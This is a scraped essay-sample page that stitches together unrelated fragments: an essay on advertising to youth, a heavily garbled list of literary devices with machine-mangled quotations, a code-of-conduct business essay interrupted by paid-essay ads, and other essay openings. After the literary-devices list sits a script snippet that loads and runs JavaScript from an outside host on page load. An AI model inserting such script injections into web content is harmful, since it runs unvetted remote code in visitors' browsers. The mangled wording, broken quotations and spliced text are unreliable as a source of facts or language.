humor may prove to be very limiting, as it may only appeal to a small audience, not generating as many sales.In the end, the campaign proved to be too extreme for MTV which asked the company to tone down the dismemberment approach. After reviewing just a few modes of advertisement towards youth, the question of how this effects them during their reflective years, leading into adulthood. In a review of cognitive studies done on youth ages 11-16 years old â€Å"had still not acquired an understanding of persuasive intent on a par wit h adult levels† (Nairn Fine, pg. 449-450) Thus these children were not able to identify clearly that companies were advertising to them in order to sell a product. This makes it very dangerous because teenagers may start forming habits of consumption before they are able to identify them completely leading to the onset of the mass consumerism attitude. Children around the aged of 12 â€Å"do not show the expected increase in resistance to advertising† (Nairn Fine, pg. 450), making them an easy target for brand loyalty and preference for corporations. Consequently, a child shown a movie clip introducing a brand would be more likely to choose that brand after seeing it; this was concluded by a study done by Auty and Lewis in the Psychology of Marketing.In light of this information, the ethical issues surrounding advertising to children and youth should be taken under great consideration. By possibly limiting the amount of commercials during youth programming would have a positive effect of limiting the effects of mass consumer culture. But in contrast, much of the programming aired for youth is sponsored by large corporations, and if comm ercials are cut down, so is the funding. Not only may advertising effect the future consumer practices of youth, but it also may effect their morals and values.Seeing crude material such as the Airwalk commercials may have some influence in their tolerance for such humor, and may make it acceptable in their eyes. Images of sexually explicit content may also have the same repercussions towards behavior as well as self image. In shows like â€Å"America’s Next Top Model†, the girls are portrayed as perfect because they are thin; youth may aspire to such ideals which may cause a negative self image towards themselves and others. Advertising is a powerful tool for many corporations, and they will constantly looking for new and exciting ways to capture the attention of youth.There numerous methods that make advertising almost inescapable. Every area of the environment becomes a commodity as advertising can be found on the floors and ceilings of buses, internet sites, and even in washrooms stalls. But what the youth of today have is more information at their disposal that they can use to combat large corporations, and be able to identify what these companies are doing. They can use this information to generate their own income by using sites like YouTube, or use what they know against the corporations to ban advertising to young children. How to cite Advertising to Youth, Papers

Epithet free essay sample

Name 1. Still watching the pupil nurses, Mc.Neil saw that two were deathly white, a 3rd had gasped snd turned off ; the other three were stoicallyobservation. A. Hailey A. Hailey The writer uses the above mentioned names to give better image of the interior province of the characters. The word # 8220 ; picket # 8221 ; is instead impersonal, while # 8220 ; deathlike white # 8221 ; is emotionally coloured. It gives a graphic image. 2. The aureate strain of Polynesia betrayed itself in the sun-giltof his tegumentand project up aureate shininesss, and visible radiations through the inklingblueof his eyes. J. London J. London The writer uses reversed names in the above infusion to touch the reader # 8217 ; s imaginativeness. With the usage of names, J. London makes emotionally colored description of the character. 3. On the underside of the immense and glassy lagunawas much pearl shell, and from the deck of the schooner, across the slender ring of the atoll, the frogmans could be seen at work. J. London J. London The writer uses simple epithet # 8220 ; glassy # 8221 ; to demo that the H2O in this laguna was pure. 4. The Sun had disappeared, and a lead-colored dusksettled down. J. London J. LondonHyperbole Hyperbole 1. He steeled himself to maintain above the suffocating dreaminessthat lapped like a lifting tide through all the Wellss of his being. J. London J. London The writer uses exaggeration to demo that the hero was unable to state a individual word at that minute. 2. # 8220 ; You couldn # 8217 ; t win from me in a thousand old ages # 8221 ; , Danny assured him. J. London J. London The writer uses the above-named look to demo that there were no opportunities to win from Danny. J. London makes us see, that the hero considers himself to be a really good participant. 3. He saw the perambulating cadavers, the ghastly decease # 8217 ; s caputsof work forces who laborated in the dye suites. J. London J. London Using look # 8220 ; the perambulating cadavers # 8221 ; the writer points out that these work forces are exhausted with their difficult and risky work. Metaphor Metaphor 1. Jim Cardegee awoke, choking, bewildered, get downing down the twin Wellss of steel. J. London J. London The writer uses the above-named metaphor to depict shot-guns. A word denoting one object is applied to another for the intent of proposing a similitude between them. 2. Young puppiesand old grey Canis familiarisswho ought to hold known better # 8211 ; oh, they all came up and crawled around her skirts and whined and fawnedwhen she whistled. J. London J. London The writer uses the above-named metaphor to depict old and immature work forces. 3. # 8220 ; To me he is power # 8211 ; he isthe crude # 184 ; the wild wolf, the dramatic rattler, the stinging centipede # 8221 ; , said Arrellano. J. London J. London The writer compares the hero with the wild animals. 4. In the whole atollnot two rocks remained one upon another. J. London J. London The writer uses metaphor to emphasize that nil safe remained in the whole atoll. Simile Simile 1. At times his head wandered farther afield, and he plodded on, a mere mechanization, unusual amour propresand flightinesssgnawing at his encephalon like worms. J. London J. London The simple simile. The writer draws a comparing between two different things # 8220 ; minds # 8221 ; and # 8220 ; worms # 8221 ; . 2. Hethrew off his battalion and went into the first-come-first-serve grass on custodies and articulatio genuss, scranching and crunching, like some bovine animal. J. London J. London The sustained simile. The writer draws the implicative parallel. 3. His articulationswere like rusty flexible joints. J. London J. London 4. Again the rifles of the soldiers of Porfirio Diaz cracked, and once more hedropped to the land and slunk off likesome hunted prairie wolfof the hills. J. London J. LondonPersonification Personification 1. The present storm had been bornfive yearss ago in the Lee of the Colorado. A. Hailey A. Hailey The writer personificates the storm. 2. Merely as daytime laid itssteel-gray fingerson the parchment window, Jacob Kent awoke. J. London J. London The writer compares the daytime with a human being. 3. A see swept up the beach, creamingaround the short pantss of the coconuts and lesseningabout at their pess. J. London J. LondonThe writer shows similarity between the sea and the animate being The writer shows similarity between the sea and the animate beingIrony Irony 1. The sight of his meekly withdrawing back must hold further enraged Patsy Horan, for that worthy, dropping the tabular array implements, sprang upon him. J. London J. London 2. The Gallic, with no inherent aptitude for colonisation, futile in their infantile playgameof developing the resources of the island, were merely excessively glad to see the English company win. J. London J. London 3. # 8220 ; Well # 8221 ; , thought Alice to herself, # 8220 ; after such a autumn as this, I shall believe nil of toppling down stepss. How brave they # 8217 ; ll all think me at place! Why, I wouldn # 8217 ; Ts say anythingabout it, even if I fell off the top of the house # 8221 ; ( Which was really likely true) L. Carroll L. Carroll 4. # 8220 ; # 8230 ; if you drink muchfrom a bottle marked # 8220 ;toxicant # 8221 ; , it is about certain to differ with you, earlier or subsequently. # 8221 ; L. Carroll L. CarrollZeugma Zeugma 1. They grew frightened, sitting therefore and confrontingtheir ain apprehensivenesssand a indurate, tobacco-smoking audience. J. London J. London 2. He returnedwith an easier air to the tabular array and his repast. H.G. Wells 3. The one sufferer who might, possibly, have paidhim a visit and a feedid non demo herself. A. Bennett 4. She broke off underthe strain of her illiteracyand an overladen tummy. A. Cronin A. Cronin 5. # 8220 ; What are you guys making # 8211 ; holding a supper and ladies # 8217 ; dark. # 8221 ; A. Hailey Metonymy Metonymy 1. The bartender leant his fat ruddy weaponries on the counter and talked of Equus caballuss with an anemic taxidriver, while a black-bearded adult male in Grey snapped up biscuit and cheese, drank Burton, and conversed in American with a police officer off responsibility. ( kind of beer ) H.G. Wells H.G. Wells 2. I made off up the roadway to Bloomsbury Square, meaning to strike north past the Museumand so acquire into the quiet territory. ( British Museum ) H.G. Wells H.G. Wells 3. The handgun snapped its penultimate shooting and ripped a valuableSidney Cooper. ( ripped a canvas ) H.G. Wells H.G. Wells Oxymoron 1. The idea was like some Sweet, disarranging toxicantto Clyde. T. Dreiser T. Dreiser Oxymoron is a specific type of an name, which is ever contrary to the verb or noun it modifies. With the usage of the above-named oxymoron the writer shows that this idea was pleasant to Clyde, but at the same clip unsafe. 2. When Clyde appeared to be the least decreased in head she most affected this spiel with him, since it had an about electric, if sweetly torturing consequenceon him. T. Dreiser T. Dreiser 3. You baddie, good male child. T. Dreiser T. Dreiser 4. It tortured and flusteredhim. T. Dreiser T. DreiserPun Pun 1. # 8220 ; I had non! # 8221 ; Cried the Mouse, aggressively and really angrily. # 8220 ; A knot! # 8221 ; said Alice, ever ready to do herself utile, and looking uneasily about her. # 8220 ; Oh, do allow me assist to undoit! # 8221 ; # 8220 ; I shall make nilof the kind # 8221 ; , said the Mouse, acquiring up and walking off. L. Carroll L. Carroll 2. # 8220 ; # 8230 ; You see the Earth takes 24 hours to turn round on its axis # 8221 ; # 8220 ; Talking of axes # 8221 ; , said the Dormouse, # 8220 ; chop off her caput! # 8221 ; L. Carroll L. Carroll 3. # 8220 ; No, delight travel on! # 8221 ; Alice said really meekly: # 8220 ; I won # 8217 ; t disrupt you once more. I dare state there may be one # 8221 ; ( pronoun ) # 8220 ; One,so! # 8221 ; said the Dormouse, without sing at all this clip. ( numerical ) L. Carroll L. Carroll 4. # 8220 ; Take some moretea # 8221 ; , the March Hare said to Alice, really seriously. # 8220 ; I # 8217 ; ve had nil yet # 8221 ; , Alice replied in an pained tone, # 8220 ; so I can # 8217 ; t take more # 8221 ; . # 8220 ; You mean, you can # 8217 ; t take less # 8221 ; , said the Hatter: # 8220 ; It # 8217 ; s really easy to take morethan nil # 8221 ; . . Carroll. DodgsonAntithesis Antithesis 1. Most of the kids here have had rubeolas. Those that haven # 8217 ; t are certain to hold it sooner or later. A.J. Cronin A.J. Cronin 2. His cigar bobbed up and down, dispatching ash partially on himself, partially on the polished linoleum floor. A. Hailey A. Hailey 3. It was a signal of TB ; whether old or recentthey would cognize in a minute. A. Hailey A. Hailey 4. # 8220 ; Storm or non, contracts decreed that air freight spoilables must get at finish fresh, and fleetly # 8221 ; . A. Hailey A. HaileyDetached building Detached buildingParenthesis Parenthesis 1. His topographic point of concern # 8211 ; whatever high-class tooth doctors choose to name it # 8211 ; was rather ready for him when he arrived at Hanbridge. A. Bennett A. Bennett 2. She had a heat of spirit # 8211 ; he had one time described it to himself as a strong kindness # 8211 ; that was at one time comforting and reconstructing. A. Hailey A. Hailey 3. As he watched her now # 8211 ; she had stopped to talk with one of the housemans # 8211 ; he saw her raise a manus and push back her hair from the side of her face. A. Hailey A. Hailey 4. After tea, while Mary had gone to rinse the dishes, she insisted that Christine looked tired, Andrew detached the babe from Mrs. Boland and played with it on the hearthrug before the fire. A.J. Cronin A.J. Cronin 5. He ran up the porch stairss, threw unfastened the front door and at that place, in the hall, he found Llewellyn. A. J. Cronin A. J. Cronin The writer inserts the phrase # 8220 ; in the hall # 8221 ; into this statement to give extra information. This sentence is logically and grammatically completed even without this phrase. 6. Next he constructed, really merely, a dust chamber in which for certain hours of the twenty-four hours the animate beings were exposed to concentrations of the dust, others being unexposed # 8211 ; the controls. A. Cronin A. Cronin With the word # 8220 ; the controls # 8221 ; the writer gives account of other animate beings being unexposed. Anadiplosis ( associating, anadiplosis ) Anadiplosis ( associating, anadiplosis ) 1. He asked her to step in, and in she stepped. A. Bennett A. Bennett The writer uses the same phrase both at the terminal of a clause and at the beginning of the consecutive 1. 2. # 8220 ; There was a cold bitter gustatory sensation in the air, and new-lighted lamps looked sad. Sadwere the visible radiations in the houses opposite. # 8221 ; K. Mansfield K. Mansfield The writer uses the same word # 8220 ; sad # 8221 ; both at the terminal of a sentence and at the beginning of the consecutive 1. 3. With one manus, Danny was utilizing a ruddy telephone ; with the other, flicking through exigency orders # 8211 ; Mel # 8217 ; s orders, carefully drawn up for occasions such as this. A. Hailey A. Hailey The writer uses the same phrase both at the terminal of a clause and at the beginning of the consecutive 1. Ellipsis Ellipsis 1. # 8220 ; You see these three dentitions? # 8221 ; A. Bennett A. Bennett The writer uses eclipsis to demo that the character speaks in familiar conversational tone. 2. # 8220 ; They should be through, or almost. # 8221 ; # 8220 ; They might be # 8211 ; if we could happen the frigging truck # 8221 ; A. Hailey A. Hailey The word # 8220 ; through # 8221 ; is omitted, though the context of the sentence does non endure. 3. # 8220 ; You can hold your spot of snap straight off to-night. No surgery. Dai Jenkins done it. # 8221 ; A. Hailey A. Hailey Omission of nexus verb # 8211 ; # 8220 ; Dai Jenkins has done it # 8221 ; 4. # 8220 ; A intermission, so more sharply, # 8220 ; Any other damnfool stupid impression? # 8221 ; A. Hailey A. HaileyAsyndeton Asyndeton 1. With a laugh he would lift, stretch himself, swing round his lenses, put the slides off. A.J. Cronin The writer writes without concurrences in order to rush up the action. 2. # 8220 ; Bicket did non reply his pharynx felt excessively dry. # 8221 ; Galsworthy Here we can see the absence of the concurrence # 8220 ; because # 8221 ; . 3. He glanced up, laid down his coffin nail, went into the hall. A.J. Cronin 4. His places were black tied boots, good boots, honest boots, standard boots, inordinately uninteresting boots. S.Lewis Anticlimax Anticlimax 1. The kids began upon the cocoa biscuits and ended with a battle for the last piece of staff of life. A.J. Cronin A.J. Cronin The writer creates a amusing consequence with this unexpected stoping of the sentence. gt ; 2. They were traveling to give him a free manus, back him up with their huge authorization, turn him free on his clinical research. # 8220 ; But, gentlemen # 8221 ; , Billy all of a sudden pipped, scuffling himself a new trade from his coat pockets, # 8220 ; beforeDoctor Manson goes on with this job, before we can experience ourselves at autonomy to let him to concentrate his attemptsupon it, there is another and, more urgent affair, whichI feel he ought to take up. # 8221 ; A.J. Cronin 3. # 8220 ; Possibly it # 8217 ; s a call, Chris! Think of it! My first Aberalaw case. # 8221 ; He dashed into the hall. It was non a instance, nevertheless, but Doctor Llewellyn, telefoning his welcome from his place at the other terminal of the town. A.J. Cronin 4. The grey suit was good cut, good made, and wholly insignificant. His places were black tied boots, good boots, honest boots, standard boots, inordinately uninteresting boots. S.LewisAnaphoras 1. He told hershe was a sweet, keen kid. He told herhe had been a beast to her but that for the remainder of his life he would be a rug # 8211 ; non red, since she interjected her expostulation to that coloring material # 8211 ; on which she might step. He told hermuch more than that. A.J. Cronin Here the writer uses a consecutive repeat of the phrase # 8220 ; he told her # 8221 ; at the beginning of 3 back-to-back sentences. 2. She laughedtill the cryings ran down her cheeks. She laughedso difficult that he sat up, concerned. A.J. Cronin 3. Could a adult male ain anything prettier thanthis dining-table with its deep shades, the starry, soft-petalled roses, the ruby-coloured glass, and quaint Ag trappings ; could a adult male ain anything prettier thana adult female who sat at it? J. Galsworthy The writer uses repeat of the phrase # 8220 ; could a adult male ain anything prettier than # 8221 ; at the beginning of the sentence and at the beginning of the clause. Epiphoras 1. Dear God, he had done it! He had done it! He was through, he had done it! A.J. Cronin Repeated unit is placed at the terminal of back-to-back sentences. 2. # 8220 ; The studies are taking excessively long. Much excessively long. # 8221 ; A. Hailey 3. # 8220 ; I haven # 8217 ; t got a occupation. I # 8217 ; m non looking for a occupation. Furthermore, I am non traveling to look for a occupation. # 8221 ; J. London The writer repeats a word # 8220 ; occupation # 8221 ; at the terminal of back-to-back sentences. Aposiopesis 1. # 8220 ; Good afternoon # 8221 ; , said Mr. Cowlishaw # 8220 ; Have you # 8230 ; Can I # 8230 ; # 8221 ; A. Bennett The character is worried, this why he can # 8217 ; t stop his statements. 2. # 8220 ; But, George, possibly it # 8217 ; s really of import for you to travel and larn all that about # 8211 ; cowss judging and dirts and those things # 8230 ; Of class, I don # 8217 ; t know. # 8221 ; O. Wilde The writer uses aposiopesis to demo the jitteriness and concern of the character. 3. # 8220 ; Listen, Emily, I # 8217 ; m traveling to state you why I # 8217 ; m non traveling to Agriculture School. I think that one time you # 8217 ; re found a individual that you # 8217 ; re really fond of # 8230 ; I mean a individual who # 8217 ; s fond of you, excessively, and likes you adequate to be interested in your character # 8230 ; Well, I think that # 8217 ; s merely every bit of import as college is, and even more so. That # 8217 ; s what I think. # 8221 ; O. WildeHyperbaton 1. # 8220 ; I know there was a spot of misconstruing between your Tom and me. But it # 8217 ; s Christmas # 8211 ; and # 8211 ; oh, well, I want # 8211 ; # 8221 ; he broke down lamely, # 8220 ; I mean, I # 8217 ; d be terribly pleased if the three of you would come unit of ammunition and assist us eat our Christmas dinner. # 8221 ; A.J. Cronin The writer uses hyperbaton to demo the edgy province of the talker # 8217 ; s head. 2. # 8220 ; The fact is I # 8217 ; d begun to inquire myself if you weren # 8217 ; t excessively little, excessively much of a child of all time to # 8211 ; oh, well, I # 8217 ; m delighted. But we # 8217 ; re non traveling to acquire sentimental. Slushy, I mean. No, no! Let # 8217 ; s leave that kind of thing to Mr. And Mrs. Smith. # 8221 ; A.J. Cronin 3. # 8220 ; I slipped in. Cipher knows I am here. I wanted to see you. I came to state you I have been really foolish. I came because I could no longer remain off, because my bosom compelled me to come, because # 8230 ; because I wanted to come. # 8221 ; J. LondonFraming 1. A errorhad been made, and yet it was non a wanton error. A. Hailey The writer reiterates the same word # 8220 ; misidentify # 8221 ; at the beginning and at the terminal of a sentence. 2. He was no talkerand he knew that he was no talker. A. J. Cronin The writer reiterates the same phrase # 8220 ; he was no talker # 8221 ; at the beginning and at the terminal of a sentence. 3. A bubbleof mucous secretion came from one bantam anterior naris, a joyful iridescent bubble. A.J. Cronin 4. # 8220 ; My encephalonis the same old encephalon. # 8221 ; J.London Withdrawal 1. # 8220 ; Possibly it # 8217 ; s a call, Chris! Think of it!My first Aberalaw instance. # 8221 ; He dashed into the hall. A.J.Cronin The writer makes withdrawals to heighten their accent. 2. # 8220 ; Well, good! This is glorious. Delighted to run into you. Come along in here. # 8221 ; A.J.Cronin 3. # 8220 ; But we # 8217 ; re non traveling to acquire sentimental. Slushy, I mean. No, no! # 8221 ; A.J.CroninOnomatopoeia 1.Pinging!Went the door once more. Before Andrew could reply, Doctor Philip Denny and Hawkins disappeared into the wet darkness. A. J. Cronin Direct onomatopoeia. 2. It sometimes amused foreigners to see snow remotion groups, plough blades down, blowers howling, on a hot, cheery twenty-four hours. A.Hailey Direct onomatopoeia. 3. # 8220 ; Krr # 8211 ; krr # 8211 ; krr # 8211 ; ki # 8211 ; ki # 8211 ; ki # 8211 ; krr. # 8221 ; # 8220 ; Damn! # 8221 ; said Christine briefly. Merely one motor horn in Aberalaw could sound like that. A. J. Cronin Direct onomatopoeia. The writer imitates natural sound of the horn of the auto. Matching 1. Heavily, like a deceasing adult male, he took stock of them: his patients, gathered, despite the all right summer eventide, to pay testimonial to his mode, his personality. A. J. Cronin The writer sets side by side two correspondent phrases: # 8220 ; his mode, his personality # 8221 ; in order to reenforce the point. 2. Mel, airport general director # 8211 ; thin, rangy, and a human dynamo of disciplined energy # 8211 ; was standing by the Snow Control Desk, high in the control tower. A.Hailey 3. He spoke really angrilyand pitterly, and looked consecutive in front while he talked. E. Hemingway Anastrophe 1. Hereshe would sit, run uping and knitting, while he worked at the tabular array. A.J. Cronin The writer uses a purposeful reversal of the natural order of words with a position to rising their consequence. 2. With all this behind them certainlythey would non hunger. A.J. Cronin 3. Gone now washis pretension of indifference. A.J. Cronin Polysyndeton 1. # 8220 ; A diputation from the Committee, five of them, including Ed Chenkin, andescorted by Parry # 8211 ; you know, the Sinai curate # 8211 ; anda adult male Davies. # 8221 ; A.J. Cronin The writer uses polysyndeton to convey out every item and to decelerate down the action. 2. It was possible to purchase fruit andfish andveggies stingily at that place. A.J. Cronin 3. He brought his arm down andstopped smiling andlooked at the fire water faucet andbeyond the fire hydrant the trough andbeyond the trough the street, Ventura, andon both sides of the street houses andin the houses people andat the terminal of the street the state where the vineries and groves were andwatercourses andhayfields andso mountains andbeyond the mountains more metropoliss andmore houses andstreets andpeople. W. Saroyan Chiasmus 1. # 8220 ; Ifthey # 8217 ; d done anything to you # 8211 ; after allyou # 8217 ; ve done for meI # 8217 ; d # 8211 ; Oh! I # 8217 ; vitamin Ds have killed that old President. # 8221 ; A. J. Cronin The writer juxtaposes two thoughts. 2. # 8220 ; It looks to me, # 8221 ; continued Soames, # 8220 ; as if she were sweeter on him than he is on her. She # 8217 ; s ever following him about. # 8221 ; J. Galsworthy 3. Gratitude was no virtuousness among Forsytes, who, competitory, and full of commonsense, had no juncture for it ; and Soames merely experienced a sense of aggravation amounting to trouble, that he did non have her as it was his right to have her, that he could non, as by stretching out his manus to that rose, pluck her and whiff the really secrets of her bosom. J. Galsworthy 4. # 8220 ; In the yearss of old work forcesmade themanners; Mannerssnow makework forces # 8221 ; J. Byron This is a celebrated quip by Byron, the writer, who favoured chiasmus. 5. # 8220 ; Surely they don # 8217 ; T want me for myself, for myself is the same old ego they did non want. # 8221 ; J.London Climax ( Gradation ) 1. He was ill, tattered, on the brink of a complete prostration. A. J. Cronin The writer gives gradual addition in emotional rating of the status of the character. 2. His startled sisters looked, and before the servant miss could acquire at that place, the staff of life home base wobbled, slid, flew to the floor, and broke into trembles. K. Mansfield 3. # 8220 ; They looked at 100sof houses ; they climed 1000sof stepss ; they inspected countlesskitchens. # 8221 ; S.Maugham Here the flood tide is achieved by simple numerical addition. Alliteration 1. # 8220 ; So he sat and jawned, and gazed at the chromiumowd chromiumowding to the lucifer at two o # 8217 ; clock, chromiumowding back in the somberness at four O # 8217 ; clock # 8230 ; # 8221 ; A. Bennett Alliteration is the repeat of similar consonants at the beginning of neighbouring words. 2. She wrinkled her Brows in a at a loss Frain. J. Galsworthy The articulation of # 8220 ; R # 8221 ; is used to reenforce the look. 3. # 8220 ; Forget and forgive # 8221 ; , she cried passionately. J.London 4. But he was angry now, his jitteriness lost in a puffiness indignation at the ignorance, the intolerant stupidity of Chenkin # 8217 ; s accusation, and the Air Combat Commandlamation with which the others had received it. A.J.Cronin Assonance 1. He wroteand wrote, neer lookingat the clock, make fulling sheetafter sheet, until his caputreeled. A. J. Cronin [ u # 8211 ; u # 8211 ; u # 8211 ; # 8211 ; I: # 8211 ; I: # 8211 ; e # 8211 ; I: ] Assonance # 8211 ; calculated repeat of like sounding vowels in neighboring words with a position to rising their consequence. 2. When he opened his eyesonce more he started, seeing something crawlingfleetly up a tree. D.H. Lawrence [ ai # 8211 ; a: # 8211 ; I: # 8211 ; I: ] Rhetorical Question 1. Could a adult male ain anything prettier than this dining-table with its deep shades, the starry, soft-petalled roses, the ruby-coloured glass, and quaint Ag trappings ; could a adult male ain anything prettier than a adult female who sat at it? J. Galsworthy Rhetorical inquiry is a inquiry which requires no reply, and is used simply to underscore a point. 2. # 8220 ; Please, my beloved fellow # 8221 ; Llewellyn entreated # 8211 ; # 8220 ; who could assist an accident like that? I beg of you # 8211 ; travel up and comfort your wife. # 8221 ; A. J. Cronin 3. She took the vase of roses and left the room. Soames remained sitting. Be it for this that he had signed that contract? Was it for this that he was traveling to pass some ten thousand lbs? J. Galsworthy ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

The code of conduct

Social Performance Business organizations are legal entities. Therefore, they may enter into contracts, own property, sue or be sued (Bouchoux, 2009). Organizations may engage in illegal activities. Therefore, since organizations are legal entities, the government or various parties may sue the organizations.Advertising We will write a custom essay sample on The code of conduct specifically for you for only $16.05 $11/page Learn More Technically, it is impossible to imprison an organization. The sentencing guidelines provide a mechanism for convicting organizations that contravene various laws. This necessitates organizations to monitor their social performance. Failure to monitor the social performance would not only make the organization liable to expensive lawsuits, but would also tarnish the image and reputation of the company. Therefore, most organizations have a code of conduct that ensures that their activities are above board. The code of conduct governs the activities of employees of the organization. The code of conduct ensures the smooth running of the operations of an organization. Cellcom is a wireless telecommunications provider that has its headquarters in the Green Bay, Wisconsin. The company provides mobile phone telephone services to members of the public using CDMA technology. However, Cellcom does not currently have an ethics program. This puts the company at risk of facing expensive lawsuits or tarnishing of the image and reputation of the company. Therefore, it is vital for the company to develop a code of conduct. ATT, one of the leading telecommunications company in the US, has one of the best ethics program in the industry. The code of conduct dictates that employees of the company should act with integrity. The code of conduct also states that there should be no conflict of interest between an employee’s professional duty and personal interests.Advertising Looking for essay on business economi cs? Let's see if we can help you! Get your first paper with 15% OFF Learn More In addition, the code of ethics requires employees to comply with all existing federal or state legislation that governs the activities of the company. This ensures that the code of ethics is always up to date regardless of changes in legislation (ATT, n.d). Verizon wireless has a more detailed code of conduct. The code of conduct details how employees should interact with other employees and their seniors. The code of conduct provides intricate detail of the employees conduct. For example, the company prohibits employees from giving loans of more than $25 to other employees who they have a direct or indirect reporting relationship (Verizon Wireless, 2005). The intricate detail of the code of conduct ensures that employees do not contravene the company’s policies. However, this makes the employees feel like prisoners the code of conduct governs virtually all their activities. Atlantic Tele -Network has a less detailed code of conduct. The code of conduct requires employees to have personal and professional integrity. It also requires employees to treat fellow employees, customers and other parties respectfully. In addition, employees should maintain the confidentiality of company information and use the company property for the benefit of the company and its clients. According to the Atlantic Tele-Network code of conduct, employees should not have a conflict of interest between their professional duties and personal interests (Atlantic Tele-Network, 2009). Atlantic Tele-Network’s code of conduct is very brief. This makes it to be vague.Advertising We will write a custom essay sample on The code of conduct specifically for you for only $16.05 $11/page Learn More Cellcom should use the code of conduct of the above companies as the benchmark for creating its own code of conduct. Cellcom’s employees should ensure that they have personal and professional integrity. They should treat employees, clients and other parties respectfully and honestly. This would prevent any conflicts between employees, or between the company and external parties. Cellcom’s employees should also ensure that there is no conflict of interest between their professional duties and personal interests. This would ensure that employees perform their activities for the benefit of the company and its customers at all times. Employees should also maintain confidentiality of company information to avoid jeopardizing the company. In addition, employees should not use information that they obtain due to their professional involvement with the company for personal benefit. Cellcom’s employees should ensure that they protect the company’s property at all times. Cellcom employees should ensure that they adhere to existing state and federal legislation that governs the activities of the company. This would prevent breach of th e laws, which may lead to tarnishing of the image and reputation of the company and expensive lawsuits. The code of conduct adheres to the sentencing guidelines. The sentencing guidelines attach criminal liability to an organization due to the action of its employees while they are performing their professional duties. This is regardless of whether the employee acted contrary to the organization’s guidelines. Therefore, it is vital for the code of conduct to ensure that employees’ actions are not contrary to the organization’s policies. The sentencing guidelines advocates for policies that ensure there is oversight of employees by high-level personnel.Advertising Looking for essay on business economics? Let's see if we can help you! Get your first paper with 15% OFF Learn More In addition, sentencing guidelines advocate for effective communication between employees. Cellcom’s code of conduct ensures that there is proper communication between employees by ensuring that employees have personal and professional integrity. The sentencing guidelines advocates for consistent implementation of compliance standards (USSC, n.d). This ensures equal treatment of employees who have violated the code of conduct regardless of their rank within the organization. Cellcom’s code of conduct governs the activities of all employees of the company regardless of their rank within the organization. Implementation of the code of conduct is bound to face several challenges. People are always resistant to changes that they perceive curtails their freedom. Therefore, prior to implementation of the code of conduct, it is vital to highlight the importance of the code of conduct to the employees. Employees should appreciate the fact that the code of conduct eases their a ctivities and enables the organization to attain its objective. The management should not put much emphasis on the repercussions of contravening the code of conduct to reduce resistance of the employees to the code of conduct. In addition, there should be fairness in imposing punishments to employees who contravene the code of conduct. All employees should face similar punishment regardless of their rank within the organization. Business organizations exist in a rapidly changing environment. Therefore, it is vital to ensure that the code of conduct remains relevant despite the changes. The code of conduct ensures that the actions of the employees of the organization should always be in the best interest of the company and its customers. Therefore, regardless of changes that may occur, employees will always engage in activities that benefit the company and its customers. In addition, the code of conduct ensures that employees do contravene federal or state legislation that governs th e activities of the company. Therefore, employees will always adhere to the existing legislation, which may change from time to time. The code of conduct ensures that the company and its employees engage in socially acceptable activities. This helps in building the image and reputation of the company. In addition, the code of conduct prevents the company from facing expensive lawsuits, which may cost the company millions of dollars. Therefore, having a code of conduct enables a company to kill two birds with one stone. References ATT (n.d.). ATT Inc. Code of Ethics. Web. Atlantic Tele-Network. (2009). Code of ethics. Web. Bouchoux, D.E. (2009). Fundamentals of business organizations for paralegals, Third Edition. New York: Aspen Publishers. United States Sentencing Commission. (n.d). An overview of the organizational guidelines. Washington, DC: United States Sentencing Commission. Web. Verizon Wireless. (2005). Your code of conduct. Web. This essay on The code of conduct was written and submitted by user Noel Chaney to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. You can donate your paper here.

Class Stratification in Animal Farm Essay Example

Class Stratification in Animal Farm Essay Example Class Stratification in Animal Farm Essay Class Stratification in Animal Farm Essay Essay Topic: Animal Farm In the text â€Å"Animal Farm† by George Orwell, an idea I think is worth learning about is class stratification.Class stratification describes when a society splits into separate classes; who have different access to resources and power.I think this idea is worth learning about because the expulsion of Mr Jones was meant to stop it, the seven commandments were explicitly against it and because Snowball would have stopped it from happening.Animal Farm is an allegory for the Russian revolution and the plots and ideas present in this novel, are based on actual events.The authors purpose for making the divide between classes so conspicuous was to show unjust, and oppressive; Joseph Stalins leadership was. Firstly, class stratification is an idea worth learning about because the expulsion of Jones was meant to stop it.â€Å"Only get rid of Man, and the produce of our labour would be our own. Almost overnight we could become rich and free†.This is a quote from Old Major’s speech, the speech that inspired the animals to revolt against Mr Jones. On the pre expulsion farm, Man was a class with overruling power (With Mr Jones representing the Tsar royal family who ruled at the time) and abundant resources, while the animals were another class; with zero power that had the resources they produced, taken away.The author, put an emphasis on how the animals thought the revolution would turn their society into one free of divided classes, he did this because it put even more emphasis on how wrong the animals were. I think this shows that in life, considering multiple outcome of a situation before deciding whether to dive in or not, is the best way to avoid disappointment when said situation turns sour. Secondly, class stratification is an idea worth learning about because the original seven commandments were explicitly against it.The seventh commandment was â€Å"All animals are equal†, this was later changed to â€Å"All anima

Introduction and organizations as a soci-technical system Research Paper

Introduction and organizations as a soci-technical system - Research Paper Example sociotechnical systems (STS). In other words, the field recognizes the essence of complicated work designed impacted by technical development which in turn influences the modes of interaction amongst the people at the workplace (Fader, Painter & Barnes 2003). To further demonstrate the point and to offer a critical analysis of the central thesis posed by the STS theorists, the Painter`s Case Study would be taken as a test case which would enable an insight on the various perspectives of the field. Painter observed and reported on the developments of a an ‘E-File System’ which had replaced a long standing paper based mechanisms, which in turn influenced human aspects of job development thereby confirming the STS theory hypothesis. In other words, it may be argued that the social development readily follows the pathway of technical innovation in any industry which confirms the simultaneous propagation of both the variables to leave a holistic impact on the industry. Since the social factors can also comprise of negative developments along with positive developments as well, the paper will aim at exploring various STS generalized principles via commenting on Painter`s Case Study. The Sociotechnical theory implies that the social as well as the technical developments in a firm don`t take place in an isolated environment. Instead, in any of the scenarios at a work place, there is an inherent system in place which depicts how the social and technical factors interact and shape the overall direction of the workplace. In other words, the theory offers a wider explanation and an interactional model which explains how the technical changes in a firm call for moderation and alteration in job specifications and requirements of the organizational structure (Chiang, Saiu &Hardgrave 2011). This change in tasks in turn interacts with the human factor in the firm i.e. directly impacts the structure of human

Globalization and Cultural and Language Diversity Essay

